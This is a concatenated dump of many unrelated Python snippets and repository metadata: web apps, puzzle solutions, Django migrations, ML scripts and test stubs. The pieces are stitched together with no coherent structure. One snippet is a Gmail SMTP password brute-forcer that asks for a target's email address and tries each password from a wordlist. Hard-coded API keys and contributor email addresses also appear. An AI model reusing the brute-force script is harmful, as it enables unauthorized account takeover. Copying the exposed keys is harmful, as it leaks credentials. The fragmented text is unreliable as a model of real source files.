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import json import urllib from flask import Flask, request from flask import render_template app = Flask(__name__) @app.route("/") def info(): url = "https://api.nomics.com/v1/volume/history?key=demo-26240835858194712a4f8cc0dc635c7a" result = urllib.request.urlopen(url) data = json.load(result) time...
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numbers = [int(d) for d in input()] print([(numbers[i] + numbers[i + 1]) / 2 for i in range(len(numbers) - 1)])
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RAM AT BEGINNING: 0.22320556640625 Latent replay turned on CUDA is NOT(!!) used RAM BEFORE LOADING DATA: 0.2279052734375 Preparing the data... SPLIT RATIO: [50000, 10000] --> mnist: 'train'-dataset consisting of 60000 samples --> mnist: 'test'-dataset consisting of 10000 samples RAM AFTER LOADING DATA: 0.28905487060...
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# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law o...
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import numpy as np import cv2 def get_words(response,page_index): page_data = response['outputs'][0]['pages'][page_index] words = [] for para in page_data['regions'][1:]: for line in para['regions']: for word in line['regions']: words.append(word) r...
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## MSCOCO now = datetime.datetime.now().strftime('%Y-%m-%d-%H:%M') print '... (MSCOCO)' print now with open('PreProcOut/refcoco_splits.json', 'r') as f: refcoco_splits = json.load(f) with open('PreProcOut/google_refexp_rexsplits.json', 'r') as f: grex_splits = json.load(f) all_coco_files = list(set(chain(*...
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from django.shortcuts import render, get_object_or_404 from myapp.models import Booking, BookedSeat, Seat from myapp.models import Show from myapp.forms import SeatForm, BookingForm from django.urls import reverse_lazy #from django.views.generic import CreateView import datetime from django.views.generic import ...
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import pandas as pd import selfies as sf import numpy as np import torch from torch.utils.data import TensorDataset, DataLoader from torch.utils.data.dataset import random_split from torch import nn from torch import optim import matplotlib.pyplot as plt import torch.nn.functional as F import os import json from rdkit....
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A, B, C = map(int, input().split()) if min(A, B) <= C and C <= max(A, B): print("Yes") else: print("No")
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from turtle import Turtle class Score(Turtle): def __init__(self): super().__init__() self.score = 0 with open("data.txt") as f: self.high = int(f.read()) self.color("white") self.penup() self.goto(0, 280) self.update_score() ...
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import sys import simpleset #sys.path.append() print(sys.path) setA = [1,3,7,10,13] setB = [2,3,4,9,13] #print(simpleset.intersect(setA, setB)) #print(simpleset.union(setA, setB)) #print(simpleset.difference(setA, setB)) print(simpleset.__intersectSC(setA, setB)) #print(dir(simpleset))
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#------------------------------------------------------------------------------ # pycparser: c_parser.py # # CParser class: Parser and AST builder for the C language # # Eli Bendersky [https://eli.thegreenplace.net/] # License: BSD #------------------------------------------------------------------------------ import r...
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from livewires import games, color import random games.init(screen_width=840, screen_height=480, fps=50) class Hero(games.Sprite): image = games.load_image('img/ship.png') MISSILE_DELAY = 40 def __init__(self, x = 30, y=240): super(Hero, self).__init__(image=Hero.image, ...
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from typing import List def read_file(file_path): with open(file_path, 'r', encoding="UTF-8") as f: return f.read().strip() class Combat: def __init__(self, input_data: str): p1, p2 = input_data.strip().split('\n\n') self.player_one = self.parse_player(p1) self.player_two = ...
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class DrawPlayer: def __init__(self, name: str): self.name = name def __repr__(self): return f'Player {self.name}' def __hash__(self): return hash(self.name) OnlyDrawPlayer = DrawPlayer('Draw')
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import collections class BigInt: def __init__(self): self.number = [0] def skim(self): carrier = 0 for i in range(0, len(self.number)): self.number[i] += carrier head = self.number[i] % 10 carrier = (self.number[i] - head) / 10 self.number[i] = int(head) while carrier != 0: ...
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# -*- coding: utf-8 -*- import flask import telebot import conf import json import random import re import pymorphy2 from pymorphy2 import MorphAnalyzer morph = MorphAnalyzer() def find_words(text): regexp = re.compile('[a-zA-Z0-9-]+', flags = re.U | re.DOTALL) lst = regexp.findall(text) return lst def fi...
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# -*- coding: utf-8 -*- from __future__ import division import random from otree.common import Currency as c, currency_range from . import pages from ._builtin import Bot from .models import Constants class PlayerBot(Bot): cases = ['always_bomb', 'never_bomb'] def play_round(self): if Constants.i...
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# test_hosted_engine_deployment from collections import OrderedDict cases_t = ( ('RHEVM-23815', 'check_he_otopi_install'), ('RHEVM-24594', 'check_he_hint'), ('RHEVM-23817', 'check_engine_status'), ('RHEVM-23819', 'check_vm_status'), ('RHEVM-23832', 'check_no_large_messages'), ('RHEVM-23833', 'c...
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import re str = 'Date: 2004 - 2010' chunks = re.split('[:-]',str) for chunk in chunks: print(chunk)
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""" Created on Sunday Sep 26 17:32:16 2021 @author: Jake McKean """ # -------------------------------------------------------------- # Use the os package to list all the files in my images directory and then # append them all to a list from os.path import join import os import glob from PIL import ImageTk, ImageFile ...
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#!/bin/env python3 from copy import deepcopy from itertools import product from functools import reduce from operator import add import io """ nfsm.py - Nondeterministic finite state machine. """ class NFSM: """This class implements a non-deterministic finite state machine that matches a string of fixed, fin...
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def my_flatten(list_of_lists, accumulator=[]): for elem in list_of_lists: t = type(elem) if t is list or t is tuple: my_flatten(elem, accumulator) else: accumulator.append(elem) return accumulator
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""" Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this ...
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class Solution: def mirrorReflection(self, p: int, q: int) -> int: h, r = q, 1 while h % p != 0: h += q r ^= 1 if r == 0: return 2 elif (h // p) % 2 == 1: return 1 else: return 0
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from .models import Employee from .serializers import EmployeeSerializer from rest_framework import generics from rest_framework import mixins from rest_framework.permissions import IsAuthenticated class EmployeeList(mixins.ListModelMixin, mixins.CreateModelMixin, mixins.Retriev...
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import queue N, Q = map(int, input().split()) roads = [[] for _ in range(N)] for i in range(N - 1): a, b = map(int, input().split()) roads[a - 1].append(b - 1) roads[b - 1].append(a - 1) color = [-1] * N color[0] = 0 que = queue.Queue() que.put(0) while not que.empty(): cur = que.get() for next...
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omim = {'omim': { 'version': '1.0', 'searchResponse': { 'search': '*', 'expandedSearch': '*:*', 'parsedSearch': '+*:* ()', 'searchSuggestion': None, 'searchSpelling': None, 'filter': '', 'expandedFilter': None, 'fields': '', 'searchReport': None, 'totalResults': 7368, 'startIndex': 5140, 'endIndex': 5159, ...
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# -*- coding: UTF-8 -*- # # @author: Uluc Furkan Vardar # @updatedDate: 17.01.2021 # @version: 1.0.0 # Universal Db Controllar class import os import datetime import json class msSQL_db_controller: def __init__(self, db_connection): import pymssql self.credentials = db_connection self.cnxn ...
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# -*- coding: utf-8 -*- # Define here the models for your scraped items # # See documentation in: # https://doc.scrapy.org/en/latest/topics/items.html from scrapy.item import Item, Field class IpmaItem(Item): page = Field() text = Field() link = Field()
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# Copyright (c) 2021 AccelByte Inc. All Rights Reserved. # This is licensed software from AccelByte Inc, for limitations # and restrictions contact your company contract manager. # # Code generated. DO NOT EDIT! # template file: ags_py_codegen # pylint: disable=duplicate-code # pylint: disable=line-too-long # pylint:...
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#Local Dependencies import config #Package Dependencies from pymongo import MongoClient def remove_alerts(alerts): #Establish DB Connection connection = MongoClient(config.mongoURI) #Set Up DB for Alerts alertDB = connection["alerts"] alertCollection = alertDB["alerts"] if alerts: fo...
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# Python GUI for Servo control # Specifically written for and in lieu of PiBorg's vesion for the UltraBorg Servo and Sensor Board # This is a small program for testing PiBorgs UltrabBorg Servo and Ultrasonic Sensor board. # When run it creates a GUI with 4 sliders that can be used to operate Servos connected to the Ult...
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# Definition for a binary tree node. # class TreeNode: # def __init__(self, x): # self.val = x # self.left = None # self.right = None class Solution: def trimBST(self, root: TreeNode, L: int, R: int) -> TreeNode: if not root: return root if root.val < L: ...
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# PageRank del grafo corona import matplotlib.pyplot as plt import matplotlib as mpl import numpy as np from scipy.stats import norm from qutip import * import tgates import time def Htrans(psi0): res = tgates.H(psi0, 0) res = tgates.H(res.states[-1], 1) res = tgates.H(res.states[-1], 2) return tgates...
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import os import requests import urllib.parse import json from flask import redirect, render_template, request, session from functools import wraps def apology(message, code=400): """Render message as an apology to user.""" def escape(s): """ Escape special characters. https://github...
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import collections from leet.microsoft.trees_and_graphs.n_ary_tree_level_order_traversal import List class SolutionMy: def minReorder(self, n: int, connections: List[List[int]]) -> int: graph = collections.defaultdict(list) directedGraph = collections.defaultdict(set) # we compose directe...
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# -*- coding: utf-8 -*- """ requests.exceptions ~~~~~~~~~~~~~~~~~~~ This module contains the set of Requests' exceptions. """ from urllib3.exceptions import HTTPError as BaseHTTPError class RequestException(IOError): """There was an ambiguous exception that occurred while handling your request. """ ...
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import smtplib import time smtpserver = smtplib.SMTP("smtp.gmail.com", 587) smtpserver.ehlo() smtpserver.starttls() n = 0 user = input("Enter the target's email address: ") passfile = input("Enter the password file name: ") passfile = open(passfile, "r") for password in passfile: try: smtpser...
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import os import numpy as np from quantum_systems import TwoDimensionalHarmonicOscillator from hartree_fock import RHF from hartree_fock.mix import DIIS os.environ["QS_CACHE_TDHO"] = "1" def cache_large_system(*args, **kwargs): tdho = TwoDimensionalHarmonicOscillator(*args, **kwargs) tdho.setup_system(verbo...
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#!/usr/bin/python # -*- coding: UTF-8 -*- #微信公众号 AI壹号堂 欢迎关注 #Author bruce import codecs import data_utils def load_sentences(path): """ 加载数据集,每一行至少包含一个汉字和一个标记 句子和句子之间是以空格进行分割 最后返回句子集合 :param path: :return: """ # 存放数据集 sentences = [] # 临时存放每一个句子 sentence = [...
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#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Mon Mar 25 13:45:45 2019 @author: huiminren """ import torch import torch.utils.data as Data from torchvision.utils import save_image from torch import nn import matplotlib.pyplot as plt import numpy as np import os import time from BasicAutoencoder.DA im...
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import os import numpy as np spkid = {} utt2spk = {} count = 0 for file in os.listdir("train"): spk = file[:4] if spk in spkid.keys(): utt2spk[file] = spkid[spk] else: spkid[spk] = count utt2spk[file] = count count += 1 for file in os.listdir("test"): spk = file[:4] ...
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from pathlib import Path from pydantic import BaseSettings class Settings(BaseSettings): DEBUG: bool BASE_DIR: Path = Path(__file__).resolve().parent BOT_TOKEN: str BOT_USERNAME: str # pass user_id of a user who have # the administrator priviledges ADMIN_ID: int = 0 # pass the ch...
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import matplotlib.pyplot as plt import librosa import numpy as np import librosa.display from surfboard.sound import Waveform import numpy as np import os import pandas as pd path = '//media/shruti/Data/Internship_data/Experiment/Indoor_16Khz/Fire_alarm/' final_f = np.empty((0, 35)) for f in os.listdir(path): filen...
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#!/home/ubuntu/PycharmProjects/pythonProject/venv/bin/python # -*- coding: utf-8 -*- import re import sys from setuptools.command.easy_install import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) sys.exit(main())
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import unittest class TestCompact(unittest.TestCase): def test_compact(self): # self.assertEqual(expected, compact(lst)) assert False # TODO: implement your test here class TestCounted(unittest.TestCase): def test_counted(self): # self.assertEqual(expected, counted(objects)) ...
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# coding=utf-8 from random import randint __author__ = 'hunter' d = {x: randint(60, 100) for x in 'abcdefg'} # 直接排序,是按key来排序的 print sorted(d) # 使用zip函数,重新构造dict d2 = sorted(zip(d.itervalues(), d.iterkeys())) print d2 # 传入匿名函数,控制排序使用的值 d3 = sorted(d.items(), key=lambda x: x[1]) print d3
[ "hello.jiajun@qq.com" ]
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def closeStrings(word1: str, word2: str): """ 1) Swap any two existing characters 2) Transform every occurrence of one existing character into another existing character, and do the same with the other character. :param word1: :param word2: :return: """ if len(word1) != len(word2): ...
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import gc import warnings from random import random import numpy as np from utils.preprocess import MyVocabularyProcessor class InputHelper(object): pre_emb = dict() vocab_processor = None def getVocab(self, vocab_path, max_document_length, filter_h_pad): if self.vocab_processor is None: ...
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# Generated by Django 3.1.1 on 2020-09-26 19:36 from django.db import migrations, models import gsheets.mixins import uuid class Migration(migrations.Migration): dependencies = [ ('app', '0002_person'), ] operations = [ migrations.CreateModel( name='Test', fields...
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""" ASGI config for AD_ROI project. It exposes the ASGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.0/howto/deployment/asgi/ """ import os from django.core.asgi import get_asgi_application os.environ.setdefault('DJANGO_SETTIN...
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from .model import SegmentationModel from .modules import ( Conv2dReLU, Attention, ) from .heads import ( SegmentationHead, ClassificationHead, AUX_edgehead, AUX_SegmentationHead )
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#!/usr/bin/env python import os import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "positions_explorer.settings") from django.core.management import execute_from_command_line execute_from_command_line(sys.argv)
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#!/usr/bin/env python import xml.etree.cElementTree as et import os import pandas as pd def save_xml_as_csv(dataset_name): """Saves all tables of dataset as csv's""" data_path = os.path.join("data", dataset_name + ".stackexchange.com") if not os.path.exists(data_path): print("Check whether path {...
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# import tensorflow as tf # # # v1 = tf.Variable([[1,2,3]], name="v1") # # v2 = tf.Variable([[4],[5],[6]], name="v2") # # ... # # # Add an op to initialize the variables. # # init_op = tf.global_variables_initializer() # # # # # Add ops to save and restore all the variables. # # saver = tf.train.Saver() # # ...
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[]
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#Validation testing file on 'safe' tag against MIT streetscores import csv #csv file reader import random import os from carmera import Carmera #Carmea module #Local machine setup cm = Carmera(api_key="ff779518b57c98017d46617830829c91e731c302") #cm.url_base = "http://api-staging.carmera.co" Dont need this, only for s...
[ "patrickbochen@gmail.com" ]
patrickbochen@gmail.com
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from fabric.api import * from configparser import ConfigParser from aliyun import AliHelper import time import requests class DeployServce: def __init__(self,war_file_path,target_tmp_path,tomcat_path,service_port,service_name,slb_id,health,alihelper): self.wpath = war_file_path.rstrip('/') self.wfi...
[ "mason@localhost.localdomain" ]
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[]
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import re import sys from functools import namedtuple import mistune import jinja2 import cv from cv.templated import Templated ESCAPE_CHARS = { '&': r'\&', '%': r'\%', '$': r'\$', '#': r'\#', '_': r'\letterunderscore{}', '{': r'\letteropenbrace{}', '}': r'\letterclosebrace{}', ...
[ "jorge.barata.gonzalez@gmail.com" ]
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[]
no_license
ml-for-nlp/topic-classification
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#USAGE: python3 mk_doc_vectors.py import re import sys import numpy as np from math import isnan from os import listdir from os.path import isfile, isdir, join from sklearn.decomposition import PCA feature_type = sys.argv[1] def read_vocab(): with open('./data/vocab_file.txt','r') as f: vocab = f.rea...
[ "aurelie.herbelot@cantab.net" ]
aurelie.herbelot@cantab.net
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/5.3.py
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[]
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alien_color = "red" if alien_color == "red": print("You have earned 5 points!") alien_color = "yellow" if alien_color == "red": print("You won!")
[ "vedantvajre@gmail.com" ]
vedantvajre@gmail.com
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#!/usr/bin/env python3 # -*- coding: utf-8 -*- # ------------------------------------------------------------------------------ # # output.py: # # A class to provide functionality for writing data. # # ------------------------------------------------------------------------------ import os import sys import re import...
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a = int(input("Enter a: ")) b = int(input("Enter b: ")) if(a%2==0 and b%2==1): print("a is even") elif(b%2==0 and a%2==1): print("b is even") elif(a%2==0 and b%2==0): print("Both are even") else: print("Both are odd")
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import pymysql class DB_Connect(): """A simple class for connecting to a database and performing queries""" def __init__(self, passed_db_username, passed_db_password, passed_database): """Initialize name and age variables/attributes""" self.passed_db_username = passed_db_username self...
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""" Django settings for everyoneSays project. Generated by 'django-admin startproject' using Django 3.0.6. For more information on this file, see https://docs.djangoproject.com/en/3.0/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.0/ref/settings/ """ import ...
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# 设计一个支持 push,pop,top 操作,并能在常数时间内检索到最小元素的栈。 # # push(x) -- 将元素 x 推入栈中。 # pop() -- 删除栈顶的元素。 # top() -- 获取栈顶元素。 # getMin() -- 检索栈中的最小元素。 class MinStack: """ 这样效率太低了 """ def __init__(self): """ initialize your data structure here. """ self.list = list() self.helper ...
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''' Logger component - log msg format: (tag, measurement, [ time ], [ values ]) ''' from riaps.run.comp import Component from influxdb import InfluxDBClient from influxdb.client import InfluxDBClientError import json import logging from datetime import datetime import os import yaml BATCH_SIZE = 60 class Logger(Com...
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import json # path = '/Users/siddharth/Downloads/responses_windows_virushashes_316.json' # # with open(path, 'r') as jsonfile: # for line in jsonfile: # dict = json.loads(line) # print(dict['md5']) # # for line in signedfile: # print (line) #path = '' textfile = '/home/ubuntu/My...
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# -*- coding: utf-8 -*- # Define here the models for your scraped items # # See documentation in: # https://docs.scrapy.org/en/latest/topics/items.html import scrapy class IndeedCompanyReviewsItem(scrapy.Item): id = scrapy.Field() rating = scrapy.Field() text = scrapy.Field() pros = scrapy.Field() ...
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from __future__ import absolute_import, division, print_function import os.path as op import numpy as np import pandas as pd import numpy.testing as npt import ifmodels as sb data_path = op.join(sb.__path__[0], 'data') def test_transform_data(): """ Testing the transformation of the data from raw data to fun...
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# Copyright 2021 The WAX-ML Authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in w...
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import sys from .base import main if __name__ == "__main__": main()
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def fib(n): a,b=0,1 while a<n: print(a,end=' ') a,b=b,a+b def output(name, base,shuqiang, wuli, liliang,jineng,huangzi,baizi,baoji, zuizhong): outsum=base * shuqiang/(220) * (1+wuli/100) \ * (1+liliang/100) \ * (1+huangzi) \ * (1+baizi) \ * (1+baoji) \ ...
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def hello(name): print ('Hello ' + name.capitalize() + ',\nWelkome onboard!') #print ('Hello', name.capitalize(), ',\nWelkome onboard!')
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from flask.ext.wtf import Form from wtforms import TextField, BooleanField from wtforms.validators import Required class LoginForm(Form): openid = TextField('openid', validators = [Required()]) remember_me = BooleanField('remember me', default = False)
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from tkinter import * section = 2 x = 0.05 y = 0.15/6*section x_col = 5 font_size = ('Arial') def access(ui): ui.regist_frame = Frame(ui.tab_access) ui.login_frame = Frame(ui.tab_access) ui.regist_frame.place(relx = 0, rely = 0, relwidth=1.0, relheight=1.0/section) ui.login_frame.place(relx = 0, r...
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import turtle wn=turtle.Screen() t1=turtle.Turtle() width=wn.window_width() w3=width/3 x1=0.0-w3 x2=0.0 x3=0.0+w3 def drawSquare(size) : for i in range(1,5) : t1.fd(size) t1.rt(90) drawSquare(100) t1.clear() def triangle(size) : for i in range(1,4) : t1.fd(size) ...
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import math import matplotlib import numpy as np import pandas as pd import seaborn as sns import time import datetime import pandas_datareader.data as web from datetime import date, datetime, time, timedelta from matplotlib import pyplot as plt from pylab import rcParams from sklearn.linear_model import LinearRegress...
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from django.test import TestCase from django.contrib.auth.models import User from django.shortcuts import reverse from .test_friendship import FriendGroupControllerTests from ..controllers.groupcontroller import groupcontroller, is_in_group from ..controllers.utilities import PermissionException from .helperfunctions i...
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# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('tragopan', '0038_auto_20150724_1359'), ] operations = [ migrations.AlterField( model_name='reactormodel', ...
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#coding:utf-8 import MySQLdb conn=MySQLdb.connect( host='localhost', port = 3306, user='root', passwd='shen', db ='lunwen_yelp', ) cur = conn.cursor() def insertshopdb(list): # cur = conn.cursor() sqli="insert ignore into shoplist values(%s,%s,%s,%s)" for i in list: ...
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from turtle import * # function to create the string according to which turtle would run! def create_l_system(iters, axiom, rules): start_string = axiom if iters == 0: return axiom end_string = "" for _ in range(iters): end_string = "".join(rules[i] if i in rules else i for i in start_s...
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FlangoV/Learning
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def calculateOverTime(floatHours, floatRate): overtimeHours = floatHours - 40 regularPay = (floatHours-overtimeHours)*floatRate overtimeRate = floatRate * 1.5 overtimePay = overtimeHours*overtimeRate overtimePayment = overtimePay+regularPay return overtimePayment def com...
[ "69278564+FlangoV@users.noreply.github.com" ]
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from typing import List from django.contrib.auth.models import User from django.shortcuts import get_object_or_404 from ninja import Router, Schema from backend.todo.api import TodoSchema router = Router() class UserSchema(Schema): id: int first_name: str last_name: str email: str todos: List[T...
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nantongzyg/xtp_test
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#!/usr/bin/python # -*- encoding: utf-8 -*- import sys sys.path.append("/home/yhl2/workspace/xtp_test/xtp/api") from xtp_test_case import * sys.path.append("/home/yhl2/workspace/xtp_test/service") from ServiceConfig import * from mainService import * from QueryStkPriceQty import * from log import * sys.path.append("/h...
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/Quiz/quiz_4_asset_management.py
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nahlaerrakik/edhec-portfolio-construction-analysis
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__author__ = 'nahla.errakik' import edhec_risk_kit as erk import pandas as pd """In the following questions, we will be working with three bonds: B1 is a 15 Year Bond with a Face Value of $1000 that pays a 5% coupon semi-annually (2 times a year) B2 is a 5 Year Bond with a Face value of $1000 that pays a 6% coupon q...
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/mysite/blog/migrations/0001_initial.py
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# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations import django.utils.timezone from django.conf import settings class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations ...
[ "curiosityandlearn@gmail.com" ]
curiosityandlearn@gmail.com
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/microblog/app/__init__.py
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import logging from logging.handlers import SMTPHandler, RotatingFileHandler import os import urllib3 from flask import Flask, request, current_app from flask_sqlalchemy import SQLAlchemy from flask_migrate import Migrate from flask_login import LoginManager from flask_mail import Mail from flask_bootstrap import Boots...
[ "yusuke.sato@ys-office.me" ]
yusuke.sato@ys-office.me
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/data_pipeline/versions/2a51dc98ea0e_create_tags_table.py
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[]
no_license
DupSteGu-Enterprises/data-pipeline
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refs/heads/master
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2014-08-30T20:57:19
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"""Create tags table Revision ID: 2a51dc98ea0e Revises: 425a54a5c9dc Create Date: 2014-07-24 00:00:59.607487 """ # revision identifiers, used by Alembic. revision = '2a51dc98ea0e' down_revision = '425a54a5c9dc' from alembic import op import sqlalchemy as sa from settings import db_settings as db def upgrade(): ...
[ "njdupoux1994@gmail.com" ]
njdupoux1994@gmail.com
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/class2assignment1/F.py
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[]
no_license
wittydavid/devops0605
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refs/heads/main
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2021-08-27T17:56:35
384,684,865
0
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phone_num = input("Enter phone number: ") print(f"phone number: {phone_num}")
[ "davidaskarian.tech@gmail.com" ]
davidaskarian.tech@gmail.com
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/Anime_attribute_discrimination/rori_or_other/rori_or_other_mynn.py
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[]
no_license
KobayashiRui/pytorch_practice
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refs/heads/master
2020-07-04T13:40:05.271838
2019-12-23T05:04:00
2019-12-23T05:04:00
202,299,874
0
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import torch import torch.nn as nn import torch.optim as optim import torch.nn.functional as F from torch.optim import lr_scheduler from torch.autograd import Variable import torchvision from torchvision import transforms, datasets, models import matplotlib.pyplot as plt import numpy as np def imshow(images, title=N...
[ "roboroborx782@gmail.com" ]
roboroborx782@gmail.com
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/src/create_db.py
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[]
no_license
evasolal/ReigoDocker
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refs/heads/main
2023-04-23T20:00:57.815519
2021-05-12T12:04:01
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366,430,794
0
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import sqlite3 from sqlite3 import Error def create_connection(db_file): """ create a database connection to the SQLite database specified by db_file :param db_file: database file :return: Connection object or None """ conn = None try: conn = sqlite3.connect(db_file...
[ "noreply@github.com" ]
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/ImageDownload.py
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[]
no_license
nimishbansal/ImageDownloader
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94bcfa5223591a1fd5041e87aa07cb13a8e5e911
refs/heads/master
2020-05-29T21:59:05.701937
2019-05-30T10:59:47
2019-05-30T10:59:47
189,398,104
1
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py
from selenium import webdriver from selenium.webdriver.common.keys import Keys import time import os import requests import threading import pygame from PyQt5 import QtCore, QtWidgets from PyQt5.QtCore import pyqtSignal,QObject def downloadImage(url,counter,keyword="None"): import urllib format=url[url.rinde...
[ "noreply@github.com" ]
nimishbansal.noreply@github.com
8599015f37a249c596af3f4c0e0ef8c100111f87
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/Courses_PatrickL_Christine_Ronald_Kennedy_JohnEboh/apps/courseAssign/apps.py
00d815ad80a9b24b04c7f546d64d4f3ec5bb74ab
[]
no_license
dancinturtle/coursesFeb17
e4825d98d02fe85477f5d4a6a1286e728c35b080
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refs/heads/master
2021-01-19T12:48:47.517891
2017-02-22T03:23:56
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0
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2017-02-22T19:12:56
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Python
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py
from __future__ import unicode_literals from django.apps import AppConfig class CourseassignConfig(AppConfig): name = 'courseAssign'
[ "pleung1987@gmail.com" ]
pleung1987@gmail.com
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/dev/phSensor.py
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[ "MIT" ]
permissive
dasTholo/pysmartnode
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refs/heads/master
2021-01-05T02:41:45.897597
2020-02-18T16:08:34
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2020-02-18T19:37:13
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# Author: Kevin Köck # Copyright Kevin Köck 2019 Released under the MIT license # Created on 2019-05-11 """ example config: { package: .sensors.phSensor component: PHsensor constructor_args: { adc: 22 # ADC object/pin number adc_multi: 1.52 # ADC multiplicat...
[ "kevinkk525@users.noreply.github.com" ]
kevinkk525@users.noreply.github.com
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/store/views/cart.py
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[]
no_license
praveen9964/Tshirt-store
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2f9d8d3c05c555cd2c68653b543861f292cc7e9a
refs/heads/main
2023-07-15T15:03:16.092448
2021-08-31T17:26:01
2021-08-31T17:26:01
401,783,162
0
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from django.shortcuts import render , HttpResponse, redirect from store.forms.authforms import CustomerCreationForm,CustomerAuthForm #this is from authforms.py file from django.contrib.auth.forms import AuthenticationForm #for built in login form from django.contrib.auth import authenticate, login as loginUser,logou...
[ "kumarkp547@gmail.com" ]
kumarkp547@gmail.com